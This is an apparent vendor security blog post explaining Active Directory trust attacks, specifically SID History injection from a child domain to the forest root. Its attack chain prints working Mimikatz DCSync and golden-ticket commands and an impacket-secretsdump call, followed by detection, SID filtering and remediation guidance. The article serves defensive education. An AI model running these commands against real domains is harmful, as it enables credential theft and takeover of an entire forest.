Active Directory Trust Attacks: From Child Domain to Forest Root

What Are Active Directory Trust Attacks?

Active Directory trusts allow users in one domain to authenticate to resources in another. In multi-domain forests, trusts are the backbone of cross-domain resource access. But trusts also extend the attack surface: a compromised domain can sometimes be used to attack trusted domains — including the forest root.

Trust attacks are among the most advanced techniques in Active Directory security, but they are not rare. In organizations with multi-domain forests, legacy trusts, or external partner trusts, they represent a real and often overlooked escalation path.

The most impactful trust attack is SID History injection — using the KRBTGT hash of a child domain to forge Kerberos tickets with SID History attributes claiming membership in the parent domain's Enterprise Admins group. This is also known as the cross-forest privilege escalation or inter-realm Golden Ticket.

How It Works

When a user authenticates across a trust, their Kerberos ticket includes a PAC (Privilege Attribute Certificate) that lists their security identifiers (SIDs). The target domain uses these SIDs to determine group memberships and access rights.

The SID History attribute allows an account to carry SIDs from a previous domain (used during migrations). If an attacker can inject arbitrary SIDs into the SID History of a forged ticket — specifically the SID of the Enterprise Admins group in the parent domain — the target domain will grant Enterprise Admin-level access.

This attack requires:

1. The KRBTGT hash of the child domain (not the parent)
2. The SID of the Enterprise Admins group in the parent domain
3. The trust between the child and parent domain being a two-way or parent-child trust

The Attack Chain

Step 1 - Compromise the Child Domain

The attacker first obtains Domain Admin in a child domain — a lower-security environment often used for development, testing, or regional subsidiaries.

Step 2 - Extract Child Domain KRBTGT Hash

# DCSync in the child domain
lsadump::dcsync /domain:child.corp.local /user:krbtgt

Step 3 - Enumerate Trust Information

# Get trust details
Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection, SIDFilteringQuarantined

# Get parent domain SIDs
Get-ADDomain -Identity corp.local | Select-Object DomainSID
Get-ADGroup -Identity "Enterprise Admins" -Server corp.local | Select-Object SID

Step 4 - Forge Inter-Realm Ticket With SID History

# Mimikatz — forge ticket with Enterprise Admins SID in SID History
kerberos::golden /user:Administrator /domain:child.corp.local /sid:S-1-5-21-CHILD-SID `
    /sids:S-1-5-21-PARENT-SID-519 `
    /krbtgt:CHILD_KRBTGT_HASH `
    /ptt

The /sids parameter adds the Enterprise Admins SID to the forged ticket's SID History, granting the attacker Enterprise Admin access to the parent domain.

Step 5 - Pivot to Parent Domain

# Access parent domain DC with forged ticket
impacket-secretsdump -k corp.local/[email protected] -no-pass

Detection

Windows Event IDs

SID Filtering

SID filtering (also called SID Quarantine) prevents SID History attributes from being honored across trust boundaries. It is the primary mitigation for cross-domain privilege escalation:

# Check if SID filtering is enabled on a trust
Get-ADTrust -Filter * | Select-Object Name, SIDFilteringQuarantined

# SIDFilteringQuarantined = True means SID History from the trusted domain is ignored

⚠️ Warning: SID filtering is disabled by default on parent-child trusts within the same forest. This is by design but means child domain compromise can lead to parent domain compromise.

Remediation

💡 Quick Win: Audit all external and forest trusts for SIDFilteringQuarantined = False. Enable SID filtering on any external trust that does not require SID History for legitimate migration purposes.

1. Enable SID Filtering on External Trusts

# Enable SID filtering (quarantine) on external trust
netdom trust corp.local /domain:external-partner.com /quarantine:yes

# Verify
Get-ADTrust -Filter {Name -eq "external-partner.com"} | Select-Object SIDFilteringQuarantined

2. Audit Intra-Forest Trusts

For parent-child trusts within a forest, SID filtering cannot be enabled without breaking legitimate functionality. Instead:

• Treat all child domains as extensions of the parent's security boundary
• Any compromise of a child domain should trigger a full parent domain response
• Monitor cross-realm authentication closely

3. Review and Remove Unnecessary Trusts

# List all trusts
Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection, Created |
    Sort-Object Created
# Remove any trust that has no current business justification
Remove-ADTrust -Identity "stale-partner.com" -Confirm:$false

How EtcSec Detects This

EtcSec audits all trust relationships in your AD environment and identifies misconfigurations that could enable cross-domain privilege escalation.

Trust-related checks include detection of external trusts without SID filtering, bidirectional trusts that extend the attack surface beyond the local domain, and forest trusts with weak security settings.

These findings appear in the Trusts category of every EtcSec report, with prioritization based on the sensitivity of the trusted domains and the direction of the trust relationship.

ℹ️ Note: EtcSec audits all trust configurations automatically. Run a free audit to review your AD trust security posture.

Related articles: Golden Ticket Attack | Active Directory Attack Paths